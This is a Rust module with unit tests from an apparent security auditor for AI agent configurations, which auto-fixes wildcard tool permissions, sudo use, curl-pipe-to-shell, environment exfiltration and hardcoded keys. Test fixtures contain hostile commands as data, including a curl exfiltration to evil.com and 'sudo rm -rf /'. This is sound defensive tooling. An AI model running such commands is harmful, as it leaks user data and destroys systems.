1use crate::error::{AuditError, Result};
2use crate::rules::Finding;
3use std::collections::HashMap;
4use std::fs;
5use std::path::Path;
6
7#[derive(Debug, Clone)]
9pub struct Fix {
10 pub finding_id: String,
11 pub file_path: String,
12 pub line: usize,
13 pub description: String,
14 pub original: String,
15 pub replacement: String,
16}
17
18#[derive(Debug)]
20pub struct FixResult {
21 pub applied: Vec<Fix>,
22 pub skipped: Vec<(Fix, String)>, pub errors: Vec<(Fix, String)>, }
25
26pub struct AutoFixer {
28 dry_run: bool,
29}
30
31impl AutoFixer {
32 pub fn new(dry_run: bool) -> Self {
33 Self { dry_run }
34 }
35
36 pub fn generate_fixes(&self, findings: &[Finding]) -> Vec<Fix> {
38 let mut fixes = Vec::new();
39
40 for finding in findings {
41 if let Some(fix) = self.generate_fix(finding) {
42 fixes.push(fix);
43 }
44 }
45
46 fixes
47 }
48
49 fn generate_fix(&self, finding: &Finding) -> Option<Fix> {
51 match finding.id.as_str() {
52 "OP-001" => self.fix_wildcard_permission(finding),
54
55 "PE-001" => self.fix_sudo_usage(finding),
57
58 "SC-001" => self.fix_curl_pipe_bash(finding),
60
61 "EX-001" => self.fix_env_exfiltration(finding),
63
64 "PI-001" => self.fix_backtick_injection(finding),
66
67 "DP-001" | "DP-002" | "DP-003" | "DP-004" | "DP-005" | "DP-006" => {
69 self.fix_hardcoded_secret(finding)
70 }
71
72 "OP-009" => self.fix_bash_wildcard(finding),
74
75 _ => None,
76 }
77 }
78
79 fn fix_wildcard_permission(&self, finding: &Finding) -> Option<Fix> {
80 if finding.code.contains("allowed-tools: *")
82 || finding.code.contains("allowed-tools: \"*\"")
83 {
84 let replacement = finding
85 .code
86 .replace("allowed-tools: *", "allowed-tools: Read, Grep, Glob")
87 .replace("allowed-tools: \"*\"", "allowed-tools: Read, Grep, Glob");
88
89 return Some(Fix {
90 finding_id: finding.id.clone(),
91 file_path: finding.location.file.clone(),
92 line: finding.location.line,
93 description: "Replace wildcard permission with safe defaults".to_string(),
94 original: finding.code.clone(),
95 replacement,
96 });
97 }
98
99 if finding.code.contains("\"allowedTools\"")
101 && (finding.code.contains("\"*\"") || finding.code.contains(": \"*\""))
102 {
103 let replacement = finding
104 .code
105 .replace("\"*\"", "\"Read, Grep, Glob\"")
106 .replace(": \"*\"", ": \"Read, Grep, Glob\"");
107
108 return Some(Fix {
109 finding_id: finding.id.clone(),
110 file_path: finding.location.file.clone(),
111 line: finding.location.line,
112 description: "Replace wildcard permission with safe defaults".to_string(),
113 original: finding.code.clone(),
114 replacement,
115 });
116 }
117
118 None
119 }
120
121 fn fix_sudo_usage(&self, finding: &Finding) -> Option<Fix> {
122 if finding.code.contains("sudo ") {
124 let replacement = finding.code.replace("sudo ", "");
125
126 return Some(Fix {
127 finding_id: finding.id.clone(),
128 file_path: finding.location.file.clone(),
129 line: finding.location.line,
130 description: "Remove sudo privilege escalation".to_string(),
131 original: finding.code.clone(),
132 replacement,
133 });
134 }
135
136 None
137 }
138
139 fn fix_curl_pipe_bash(&self, finding: &Finding) -> Option<Fix> {
140 if finding.code.contains("| bash") || finding.code.contains("| sh") {
142 let code = &finding.code;
144 let url_start = code.find("http");
145 if let Some(start) = url_start {
146 let url_end = code[start..]
147 .find(|c: char| c.is_whitespace() || c == '"' || c == '\'')
148 .map(|i| start + i)
149 .unwrap_or(code.len());
150 let url = &code[start..url_end];
151
152 let replacement = format!(
153 "# Download script first, verify before running\ncurl -o /tmp/install.sh {}\n# Review: cat /tmp/install.sh\n# Then run: sh /tmp/install.sh",
154 url
155 );
156
157 return Some(Fix {
158 finding_id: finding.id.clone(),
159 file_path: finding.location.file.clone(),
160 line: finding.location.line,
161 description: "Replace curl|bash with download-then-verify pattern".to_string(),
162 original: finding.code.clone(),
163 replacement,
164 });
165 }
166 }
167
168 None
169 }
170
171 fn fix_env_exfiltration(&self, finding: &Finding) -> Option<Fix> {
172 if finding.code.contains("$HOME")
174 || finding.code.contains("$USER")
175 || finding.code.contains("$PATH")
176 {
177 let replacement = finding
178 .code
179 .replace("$HOME", "[REDACTED]")
180 .replace("$USER", "[REDACTED]")
181 .replace("$PATH", "[REDACTED]");
182
183 return Some(Fix {
184 finding_id: finding.id.clone(),
185 file_path: finding.location.file.clone(),
186 line: finding.location.line,
187 description: "Mask sensitive environment variables".to_string(),
188 original: finding.code.clone(),
189 replacement,
190 });
191 }
192
193 None
194 }
195
196 fn fix_backtick_injection(&self, finding: &Finding) -> Option<Fix> {
197 if finding.code.contains('`') {
199 let backtick_count = finding.code.matches('`').count();
201 if backtick_count >= 2 && backtick_count.is_multiple_of(2) {
202 let mut in_backtick = false;
203 let mut result = String::new();
204
205 for c in finding.code.chars() {
206 if c == '`' {
207 if in_backtick {
208 result.push(')');
209 } else {
210 result.push_str("$(");
211 }
212 in_backtick = !in_backtick;
213 } else {
214 result.push(c);
215 }
216 }
217
218 return Some(Fix {
219 finding_id: finding.id.clone(),
220 file_path: finding.location.file.clone(),
221 line: finding.location.line,
222 description: "Replace backticks with safer $() syntax".to_string(),
223 original: finding.code.clone(),
224 replacement: result,
225 });
226 }
227 }
228
229 None
230 }
231
232 fn fix_hardcoded_secret(&self, finding: &Finding) -> Option<Fix> {
233 let code = &finding.code;
238
239 if code.contains("api_key") || code.contains("apiKey") || code.contains("API_KEY") {
241 return Some(Fix {
243 finding_id: finding.id.clone(),
244 file_path: finding.location.file.clone(),
245 line: finding.location.line,
246 description: "Replace hardcoded secret with environment variable".to_string(),
247 original: finding.code.clone(),
248 replacement: format!(
249 "# TODO: Move secret to environment variable\n# {}",
250 finding.code
251 ),
252 });
253 }
254
255 None
256 }
257
258 fn fix_bash_wildcard(&self, finding: &Finding) -> Option<Fix> {
259 if finding.code.contains("Bash(*)") || finding.code.contains("Bash( * )") {
261 let replacement = finding
262 .code
263 .replace("Bash(*)", "Bash(ls:*, cat:*, echo:*)")
264 .replace("Bash( * )", "Bash(ls:*, cat:*, echo:*)");
265
266 return Some(Fix {
267 finding_id: finding.id.clone(),
268 file_path: finding.location.file.clone(),
269 line: finding.location.line,
270 description: "Replace Bash wildcard with specific allowed commands".to_string(),
271 original: finding.code.clone(),
272 replacement,
273 });
274 }
275
276 None
277 }
278
279 pub fn apply_fixes(&self, fixes: &[Fix]) -> FixResult {
281 let mut result = FixResult {
282 applied: Vec::new(),
283 skipped: Vec::new(),
284 errors: Vec::new(),
285 };
286
287 let mut fixes_by_file: HashMap<String, Vec<&Fix>> = HashMap::new();
289 for fix in fixes {
290 fixes_by_file
291 .entry(fix.file_path.clone())
292 .or_default()
293 .push(fix);
294 }
295
296 for (file_path, file_fixes) in fixes_by_file {
297 match self.apply_fixes_to_file(&file_path, &file_fixes) {
298 Ok(applied) => {
299 for fix in applied {
300 result.applied.push(fix.clone());
301 }
302 }
303 Err(e) => {
304 for fix in file_fixes {
305 result.errors.push((fix.clone(), e.to_string()));
306 }
307 }
308 }
309 }
310
311 result
312 }
313
314 fn apply_fixes_to_file(&self, file_path: &str, fixes: &[&Fix]) -> Result<Vec<Fix>> {
315 let path = Path::new(file_path);
316
317 let content = fs::read_to_string(path).map_err(|e| AuditError::ReadError {
319 path: file_path.to_string(),
320 source: e,
321 })?;
322
323 let lines: Vec<&str> = content.lines().collect();
324 let mut new_lines: Vec<String> = lines.iter().map(|s| s.to_string()).collect();
325 let mut applied = Vec::new();
326
327 let mut sorted_fixes: Vec<&&Fix> = fixes.iter().collect();
329 sorted_fixes.sort_by(|a, b| b.line.cmp(&a.line));
330
331 for fix in sorted_fixes {
332 if fix.line > 0 && fix.line <= new_lines.len() {
333 let line_idx = fix.line - 1;
334 let current_line = &new_lines[line_idx];
335
336 if current_line.contains(&fix.original)
338 || current_line.trim() == fix.original.trim()
339 {
340 if !self.dry_run {
341 new_lines[line_idx] = current_line.replace(&fix.original, &fix.replacement);
343 }
344 applied.push((*fix).clone());
345 }
346 }
347 }
348
349 if !self.dry_run && !applied.is_empty() {
351 let new_content = new_lines.join("\n");
352 fs::write(path, new_content).map_err(|e| AuditError::ReadError {
353 path: file_path.to_string(),
354 source: e,
355 })?;
356 }
357
358 Ok(applied)
359 }
360}
361
362impl Fix {
363 pub fn format_terminal(&self, dry_run: bool) -> String {
365 use colored::Colorize;
366
367 let mut output = String::new();
368
369 let prefix = if dry_run { "[DRY RUN] " } else { "" };
370
371 output.push_str(&format!(
372 "{}{} {} at {}:{}\n",
373 prefix.yellow(),
374 "Fix:".cyan().bold(),
375 self.description,
376 self.file_path,
377 self.line
378 ));
379
380 output.push_str(&format!(" {} {}\n", "-".red(), self.original.trim()));
381 output.push_str(&format!(" {} {}\n", "+".green(), self.replacement.trim()));
382
383 output
384 }
385}
386
387impl FixResult {
388 pub fn format_terminal(&self, dry_run: bool) -> String {
390 use colored::Colorize;
391
392 let mut output = String::new();
393
394 if self.applied.is_empty() && self.skipped.is_empty() && self.errors.is_empty() {
395 output.push_str(&"No fixable issues found.\n".yellow().to_string());
396 return output;
397 }
398
399 let prefix = if dry_run { "[DRY RUN] " } else { "" };
400
401 if !self.applied.is_empty() {
402 output.push_str(&format!(
403 "\n{}{}\n",
404 prefix.yellow(),
405 if dry_run {
406 "Would apply fixes:".cyan().bold()
407 } else {
408 "Applied fixes:".green().bold()
409 }
410 ));
411
412 for fix in &self.applied {
413 output.push_str(&fix.format_terminal(dry_run));
414 output.push('\n');
415 }
416 }
417
418 if !self.skipped.is_empty() {
419 output.push_str(&format!("\n{}\n", "Skipped:".yellow().bold()));
420 for (fix, reason) in &self.skipped {
421 output.push_str(&format!(
422 " {} {} - {}\n",
423 "~".yellow(),
424 fix.description,
425 reason
426 ));
427 }
428 }
429
430 if !self.errors.is_empty() {
431 output.push_str(&format!("\n{}\n", "Errors:".red().bold()));
432 for (fix, error) in &self.errors {
433 output.push_str(&format!(
434 " {} {} - {}\n",
435 "!".red(),
436 fix.description,
437 error
438 ));
439 }
440 }
441
442 output.push_str(&format!(
443 "\n{}: {} applied, {} skipped, {} errors\n",
444 if dry_run { "Summary" } else { "Result" },
445 self.applied.len(),
446 self.skipped.len(),
447 self.errors.len()
448 ));
449
450 output
451 }
452}
453
454#[cfg(test)]
455mod tests {
456 use super::*;
457 use crate::rules::{Category, Confidence, Location, Severity};
458 use tempfile::TempDir;
459
460 fn create_test_finding(id: &str, code: &str, file: &str, line: usize) -> Finding {
461 Finding {
462 id: id.to_string(),
463 severity: Severity::High,
464 category: Category::Overpermission,
465 confidence: Confidence::Firm,
466 name: "Test Finding".to_string(),
467 location: Location {
468 file: file.to_string(),
469 line,
470 column: None,
471 },
472 code: code.to_string(),
473 message: "Test message".to_string(),
474 recommendation: "Test recommendation".to_string(),
475 fix_hint: None,
476 cwe_ids: vec![],
477 rule_severity: None,
478 client: None,
479 context: None,
480 }
481 }
482
483 #[test]
484 fn test_fix_wildcard_permission() {
485 let fixer = AutoFixer::new(true);
486 let finding = create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5);
487
488 let fix = fixer.generate_fix(&finding);
489 assert!(fix.is_some());
490
491 let fix = fix.unwrap();
492 assert!(fix.replacement.contains("Read, Grep, Glob"));
493 }
494
495 #[test]
496 fn test_fix_sudo_usage() {
497 let fixer = AutoFixer::new(true);
498 let finding = create_test_finding("PE-001", "sudo apt install", "script.sh", 10);
499
500 let fix = fixer.generate_fix(&finding);
501 assert!(fix.is_some());
502
503 let fix = fix.unwrap();
504 assert!(!fix.replacement.contains("sudo"));
505 assert!(fix.replacement.contains("apt install"));
506 }
507
508 #[test]
509 fn test_fix_bash_wildcard() {
510 let fixer = AutoFixer::new(true);
511 let finding = create_test_finding("OP-009", "Bash(*)", "settings.json", 15);
512
513 let fix = fixer.generate_fix(&finding);
514 assert!(fix.is_some());
515
516 let fix = fix.unwrap();
517 assert!(fix.replacement.contains("ls:*"));
518 }
519
520 #[test]
521 fn test_apply_fixes_dry_run() {
522 let temp_dir = TempDir::new().unwrap();
523 let test_file = temp_dir.path().join("test.md");
524 fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
525
526 let fixer = AutoFixer::new(true); let finding = create_test_finding(
528 "OP-001",
529 "allowed-tools: *",
530 &test_file.display().to_string(),
531 2,
532 );
533
534 let fixes = fixer.generate_fixes(&[finding]);
535 let result = fixer.apply_fixes(&fixes);
536
537 assert_eq!(result.applied.len(), 1);
538
539 let content = fs::read_to_string(&test_file).unwrap();
541 assert!(content.contains("allowed-tools: *"));
542 }
543
544 #[test]
545 fn test_apply_fixes_real() {
546 let temp_dir = TempDir::new().unwrap();
547 let test_file = temp_dir.path().join("test.md");
548 fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
549
550 let fixer = AutoFixer::new(false); let finding = create_test_finding(
552 "OP-001",
553 "allowed-tools: *",
554 &test_file.display().to_string(),
555 2,
556 );
557
558 let fixes = fixer.generate_fixes(&[finding]);
559 let result = fixer.apply_fixes(&fixes);
560
561 assert_eq!(result.applied.len(), 1);
562
563 let content = fs::read_to_string(&test_file).unwrap();
565 assert!(content.contains("Read, Grep, Glob"));
566 assert!(!content.contains("allowed-tools: *"));
567 }
568
569 #[test]
570 fn test_no_fix_available() {
571 let fixer = AutoFixer::new(true);
572 let finding = create_test_finding("UNKNOWN-001", "some code", "file.md", 1);
573
574 let fix = fixer.generate_fix(&finding);
575 assert!(fix.is_none());
576 }
577
578 #[test]
579 fn test_fix_format_terminal() {
580 let fix = Fix {
581 finding_id: "OP-001".to_string(),
582 file_path: "SKILL.md".to_string(),
583 line: 5,
584 description: "Test fix".to_string(),
585 original: "old code".to_string(),
586 replacement: "new code".to_string(),
587 };
588
589 let output = fix.format_terminal(false);
590 assert!(output.contains("Fix:"));
591 assert!(output.contains("Test fix"));
592 assert!(output.contains("old code"));
593 assert!(output.contains("new code"));
594 }
595
596 #[test]
597 fn test_fix_result_format_terminal() {
598 let fix = Fix {
599 finding_id: "OP-001".to_string(),
600 file_path: "SKILL.md".to_string(),
601 line: 5,
602 description: "Test fix".to_string(),
603 original: "old code".to_string(),
604 replacement: "new code".to_string(),
605 };
606
607 let result = FixResult {
608 applied: vec![fix],
609 skipped: vec![],
610 errors: vec![],
611 };
612
613 let output = result.format_terminal(true);
614 assert!(output.contains("DRY RUN"));
615 assert!(output.contains("1 applied"));
616 }
617
618 #[test]
619 fn test_fix_curl_pipe_bash() {
620 let fixer = AutoFixer::new(true);
621 let finding = create_test_finding(
622 "SC-001",
623 "curl http://example.com/install.sh | bash",
624 "run.sh",
625 1,
626 );
627
628 let fix = fixer.generate_fix(&finding);
629 assert!(fix.is_some());
630
631 let fix = fix.unwrap();
632 assert!(fix.replacement.contains("Download script first"));
633 assert!(fix.replacement.contains("/tmp/install.sh"));
634 }
635
636 #[test]
637 fn test_fix_curl_pipe_sh() {
638 let fixer = AutoFixer::new(true);
639 let finding =
640 create_test_finding("SC-001", "curl https://get.sdkman.io | sh", "install.sh", 1);
641
642 let fix = fixer.generate_fix(&finding);
643 assert!(fix.is_some());
644
645 let fix = fix.unwrap();
646 assert!(fix.replacement.contains("Download script first"));
647 }
648
649 #[test]
650 fn test_fix_env_exfiltration() {
651 let fixer = AutoFixer::new(true);
652 let finding = create_test_finding(
653 "EX-001",
654 "curl http://evil.com?user=$USER&home=$HOME",
655 "exfil.sh",
656 1,
657 );
658
659 let fix = fixer.generate_fix(&finding);
660 assert!(fix.is_some());
661
662 let fix = fix.unwrap();
663 assert!(fix.replacement.contains("[REDACTED]"));
664 assert!(!fix.replacement.contains("$USER"));
665 assert!(!fix.replacement.contains("$HOME"));
666 }
667
668 #[test]
669 fn test_fix_env_exfiltration_path() {
670 let fixer = AutoFixer::new(true);
671 let finding = create_test_finding("EX-001", "echo $PATH", "leak.sh", 1);
672
673 let fix = fixer.generate_fix(&finding);
674 assert!(fix.is_some());
675
676 let fix = fix.unwrap();
677 assert!(fix.replacement.contains("[REDACTED]"));
678 }
679
680 #[test]
681 fn test_fix_backtick_injection() {
682 let fixer = AutoFixer::new(true);
683 let finding = create_test_finding("PI-001", "result=`cmd arg`", "script.sh", 1);
684
685 let fix = fixer.generate_fix(&finding);
686 assert!(fix.is_some());
687
688 let fix = fix.unwrap();
689 assert!(fix.replacement.contains("$(cmd arg)"));
690 assert!(!fix.replacement.contains('`'));
691 }
692
693 #[test]
694 fn test_fix_backtick_injection_multiple() {
695 let fixer = AutoFixer::new(true);
696 let finding = create_test_finding("PI-001", "echo `foo` and `bar`", "script.sh", 1);
697
698 let fix = fixer.generate_fix(&finding);
699 assert!(fix.is_some());
700
701 let fix = fix.unwrap();
702 assert!(fix.replacement.contains("$(foo)"));
703 assert!(fix.replacement.contains("$(bar)"));
704 }
705
706 #[test]
707 fn test_fix_backtick_injection_odd_count() {
708 let fixer = AutoFixer::new(true);
709 let finding = create_test_finding("PI-001", "echo ` only one backtick", "script.sh", 1);
710
711 let fix = fixer.generate_fix(&finding);
712 assert!(fix.is_none());
713 }
714
715 #[test]
716 fn test_fix_hardcoded_secret() {
717 let fixer = AutoFixer::new(true);
718 let finding = create_test_finding("DP-001", "api_key = \"sk-1234567890\"", "config.py", 1);
719
720 let fix = fixer.generate_fix(&finding);
721 assert!(fix.is_some());
722
723 let fix = fix.unwrap();
724 assert!(fix.replacement.contains("TODO"));
725 assert!(fix.replacement.contains("environment variable"));
726 }
727
728 #[test]
729 fn test_fix_hardcoded_secret_api_key_variant() {
730 let fixer = AutoFixer::new(true);
731 let finding = create_test_finding("DP-002", "apiKey: 'secret123'", "config.yaml", 1);
732
733 let fix = fixer.generate_fix(&finding);
734 assert!(fix.is_some());
735 }
736
737 #[test]
738 fn test_fix_hardcoded_secret_api_key_upper() {
739 let fixer = AutoFixer::new(true);
740 let finding = create_test_finding("DP-003", "const API_KEY = 'test'", "constants.js", 1);
741
742 let fix = fixer.generate_fix(&finding);
743 assert!(fix.is_some());
744 }
745
746 #[test]
747 fn test_fix_wildcard_permission_json() {
748 let fixer = AutoFixer::new(true);
749 let finding = create_test_finding("OP-001", "\"allowedTools\": \"*\"", "settings.json", 5);
750
751 let fix = fixer.generate_fix(&finding);
752 assert!(fix.is_some());
753
754 let fix = fix.unwrap();
755 assert!(fix.replacement.contains("Read, Grep, Glob"));
756 }
757
758 #[test]
759 fn test_fix_wildcard_permission_quoted() {
760 let fixer = AutoFixer::new(true);
761 let finding = create_test_finding("OP-001", "allowed-tools: \"*\"", "SKILL.md", 5);
762
763 let fix = fixer.generate_fix(&finding);
764 assert!(fix.is_some());
765
766 let fix = fix.unwrap();
767 assert!(fix.replacement.contains("Read, Grep, Glob"));
768 }
769
770 #[test]
771 fn test_fix_bash_wildcard_with_spaces() {
772 let fixer = AutoFixer::new(true);
773 let finding = create_test_finding("OP-009", "Bash( * )", "settings.json", 15);
774
775 let fix = fixer.generate_fix(&finding);
776 assert!(fix.is_some());
777
778 let fix = fix.unwrap();
779 assert!(fix.replacement.contains("ls:*"));
780 }
781
782 #[test]
783 fn test_generate_fixes_multiple() {
784 let fixer = AutoFixer::new(true);
785 let findings = vec![
786 create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5),
787 create_test_finding("PE-001", "sudo rm -rf /", "script.sh", 10),
788 create_test_finding("OP-009", "Bash(*)", "settings.json", 15),
789 ];
790
791 let fixes = fixer.generate_fixes(&findings);
792 assert_eq!(fixes.len(), 3);
793 }
794
795 #[test]
796 fn test_fix_result_format_terminal_no_fixes() {
797 let result = FixResult {
798 applied: vec![],
799 skipped: vec![],
800 errors: vec![],
801 };
802
803 let output = result.format_terminal(false);
804 assert!(output.contains("No fixable issues found"));
805 }
806
807 #[test]
808 fn test_fix_result_format_terminal_with_skipped() {
809 let fix = Fix {
810 finding_id: "OP-001".to_string(),
811 file_path: "SKILL.md".to_string(),
812 line: 5,
813 description: "Test fix".to_string(),
814 original: "old code".to_string(),
815 replacement: "new code".to_string(),
816 };
817
818 let result = FixResult {
819 applied: vec![],
820 skipped: vec![(fix, "Code changed".to_string())],
821 errors: vec![],
822 };
823
824 let output = result.format_terminal(false);
825 assert!(output.contains("Skipped:"));
826 assert!(output.contains("Code changed"));
827 }
828
829 #[test]
830 fn test_fix_result_format_terminal_with_errors() {
831 let fix = Fix {
832 finding_id: "OP-001".to_string(),
833 file_path: "SKILL.md".to_string(),
834 line: 5,
835 description: "Test fix".to_string(),
836 original: "old code".to_string(),
837 replacement: "new code".to_string(),
838 };
839
840 let result = FixResult {
841 applied: vec![],
842 skipped: vec![],
843 errors: vec![(fix, "File not found".to_string())],
844 };
845
846 let output = result.format_terminal(false);
847 assert!(output.contains("Errors:"));
848 assert!(output.contains("File not found"));
849 }
850
851 #[test]
852 fn test_fix_format_terminal_dry_run() {
853 let fix = Fix {
854 finding_id: "OP-001".to_string(),
855 file_path: "SKILL.md".to_string(),
856 line: 5,
857 description: "Test fix".to_string(),
858 original: "old code".to_string(),
859 replacement: "new code".to_string(),
860 };
861
862 let output = fix.format_terminal(true);
863 assert!(output.contains("DRY RUN"));
864 }
865
866 #[test]
867 fn test_fix_result_format_terminal_applied_not_dry_run() {
868 let fix = Fix {
869 finding_id: "OP-001".to_string(),
870 file_path: "SKILL.md".to_string(),
871 line: 5,
872 description: "Test fix".to_string(),
873 original: "old code".to_string(),
874 replacement: "new code".to_string(),
875 };
876
877 let result = FixResult {
878 applied: vec![fix],
879 skipped: vec![],
880 errors: vec![],
881 };
882
883 let output = result.format_terminal(false);
884 assert!(output.contains("Applied fixes:"));
885 assert!(!output.contains("DRY RUN"));
886 }
887
888 #[test]
889 fn test_apply_fixes_to_nonexistent_file() {
890 let fixer = AutoFixer::new(false);
891 let finding =
892 create_test_finding("OP-001", "allowed-tools: *", "/nonexistent/path/file.md", 2);
893
894 let fixes = fixer.generate_fixes(&[finding]);
895 let result = fixer.apply_fixes(&fixes);
896
897 assert!(result.applied.is_empty());
898 assert!(!result.errors.is_empty());
899 }
900
901 #[test]
902 fn test_apply_fixes_line_mismatch() {
903 let temp_dir = TempDir::new().unwrap();
904 let test_file = temp_dir.path().join("test.md");
905 fs::write(&test_file, "---\nsomething-else: value\n---\n").unwrap();
906
907 let fixer = AutoFixer::new(false);
908 let finding = create_test_finding(
909 "OP-001",
910 "allowed-tools: *",
911 &test_file.display().to_string(),
912 2,
913 );
914
915 let fixes = fixer.generate_fixes(&[finding]);
916 let result = fixer.apply_fixes(&fixes);
917
918 assert!(result.applied.is_empty());
919 }
920
921 #[test]
922 fn test_fix_debug_trait() {
923 let fix = Fix {
924 finding_id: "OP-001".to_string(),
925 file_path: "SKILL.md".to_string(),
926 line: 5,
927 description: "Test fix".to_string(),
928 original: "old".to_string(),
929 replacement: "new".to_string(),
930 };
931
932 let debug_str = format!("{:?}", fix);
933 assert!(debug_str.contains("Fix"));
934 assert!(debug_str.contains("OP-001"));
935 }
936
937 #[test]
938 fn test_fix_clone_trait() {
939 let fix = Fix {
940 finding_id: "OP-001".to_string(),
941 file_path: "SKILL.md".to_string(),
942 line: 5,
943 description: "Test fix".to_string(),
944 original: "old".to_string(),
945 replacement: "new".to_string(),
946 };
947
948 let cloned = fix.clone();
949 assert_eq!(fix.finding_id, cloned.finding_id);
950 assert_eq!(fix.file_path, cloned.file_path);
951 }
952
953 #[test]
954 fn test_fix_result_debug_trait() {
955 let result = FixResult {
956 applied: vec![],
957 skipped: vec![],
958 errors: vec![],
959 };
960
961 let debug_str = format!("{:?}", result);
962 assert!(debug_str.contains("FixResult"));
963 }
964
965 #[test]
966 fn test_fix_no_match_env_exfiltration() {
967 let fixer = AutoFixer::new(true);
968 let finding = create_test_finding("EX-001", "echo hello world", "script.sh", 1);
969
970 let fix = fixer.generate_fix(&finding);
971 assert!(fix.is_none());
972 }
973
974 #[test]
975 fn test_fix_no_match_sudo() {
976 let fixer = AutoFixer::new(true);
977 let finding = create_test_finding("PE-001", "apt install vim", "script.sh", 1);
978
979 let fix = fixer.generate_fix(&finding);
980 assert!(fix.is_none());
981 }
982
983 #[test]
984 fn test_fix_no_match_curl_pipe() {
985 let fixer = AutoFixer::new(true);
986 let finding = create_test_finding("SC-001", "curl http://example.com", "script.sh", 1);
987
988 let fix = fixer.generate_fix(&finding);
989 assert!(fix.is_none());
990 }
991
992 #[test]
993 fn test_fix_no_match_wildcard() {
994 let fixer = AutoFixer::new(true);
995 let finding = create_test_finding("OP-001", "allowed-tools: Read, Write", "SKILL.md", 1);
996
997 let fix = fixer.generate_fix(&finding);
998 assert!(fix.is_none());
999 }
1000
1001 #[test]
1002 fn test_fix_no_match_bash_wildcard() {
1003 let fixer = AutoFixer::new(true);
1004 let finding = create_test_finding("OP-009", "Bash(ls:*, cat:*)", "settings.json", 1);
1005
1006 let fix = fixer.generate_fix(&finding);
1007 assert!(fix.is_none());
1008 }
1009
1010 #[test]
1011 fn test_fix_no_match_hardcoded_secret() {
1012 let fixer = AutoFixer::new(true);
1013 let finding = create_test_finding("DP-001", "password = 'secret'", "config.py", 1);
1014
1015 let fix = fixer.generate_fix(&finding);
1016 assert!(fix.is_none());
1017 }
1018
1019 #[test]
1020 fn test_apply_fixes_out_of_bounds_line() {
1021 let temp_dir = TempDir::new().unwrap();
1022 let test_file = temp_dir.path().join("test.md");
1023 fs::write(&test_file, "line1\nline2\n").unwrap();
1024
1025 let fixer = AutoFixer::new(false);
1026
1027 let fix = Fix {
1028 finding_id: "OP-001".to_string(),
1029 file_path: test_file.display().to_string(),
1030 line: 100,
1031 description: "Test fix".to_string(),
1032 original: "something".to_string(),
1033 replacement: "other".to_string(),
1034 };
1035
1036 let result = fixer.apply_fixes(&[fix]);
1037 assert!(result.applied.is_empty());
1038 }
1039
1040 #[test]
1041 fn test_apply_fixes_line_zero() {
1042 let temp_dir = TempDir::new().unwrap();
1043 let test_file = temp_dir.path().join("test.md");
1044 fs::write(&test_file, "line1\nline2\n").unwrap();
1045
1046 let fixer = AutoFixer::new(false);
1047
1048 let fix = Fix {
1049 finding_id: "OP-001".to_string(),
1050 file_path: test_file.display().to_string(),
1051 line: 0,
1052 description: "Test fix".to_string(),
1053 original: "something".to_string(),
1054 replacement: "other".to_string(),
1055 };
1056
1057 let result = fixer.apply_fixes(&[fix]);
1058 assert!(result.applied.is_empty());
1059 }
1060
1061 #[test]
1062 fn test_fix_dp_004_hardcoded_secret() {
1063 let fixer = AutoFixer::new(true);
1064 let finding = create_test_finding("DP-004", "api_key = 'test'", "config.py", 1);
1065
1066 let fix = fixer.generate_fix(&finding);
1067 assert!(fix.is_some());
1068 }
1069
1070 #[test]
1071 fn test_fix_dp_005_hardcoded_secret() {
1072 let fixer = AutoFixer::new(true);
1073 let finding = create_test_finding("DP-005", "apiKey = 'test'", "config.js", 1);
1074
1075 let fix = fixer.generate_fix(&finding);
1076 assert!(fix.is_some());
1077 }
1078
1079 #[test]
1080 fn test_fix_dp_006_hardcoded_secret() {
1081 let fixer = AutoFixer::new(true);
1082 let finding = create_test_finding("DP-006", "API_KEY = 'test'", "config.rb", 1);
1083
1084 let fix = fixer.generate_fix(&finding);
1085 assert!(fix.is_some());
1086 }
1087
1088 #[test]
1089 fn test_fix_wildcard_allowed_tools() {
1090 let fixer = AutoFixer::new(true);
1091 let code = r#"{"allowedTools": "*"}"#;
1092 let finding = create_test_finding("OP-001", code, "mcp.json", 1);
1093
1094 let fix = fixer.generate_fix(&finding);
1095 assert!(fix.is_some());
1096 let fix = fix.unwrap();
1097 assert!(fix.replacement.contains("Read, Grep, Glob"));
1098 }
1099
1100 #[test]
1101 fn test_fix_wildcard_allowed_tools_colon_format() {
1102 let fixer = AutoFixer::new(true);
1103 let code = r#"{"allowedTools": "*"}"#;
1104 let finding = create_test_finding("OP-001", code, "settings.json", 1);
1105
1106 let fix = fixer.generate_fix(&finding);
1107 assert!(fix.is_some());
1108 }
1109
1110 #[test]
1111 fn test_fix_curl_pipe_bash_with_download() {
1112 let fixer = AutoFixer::new(true);
1113 let code = "curl -sL https://example.com/script.sh | bash";
1114 let finding = create_test_finding("PE-001", code, "install.sh", 1);
1115
1116 let fix = fixer.generate_fix(&finding);
1117 let _ = fix;
1120 }
1121}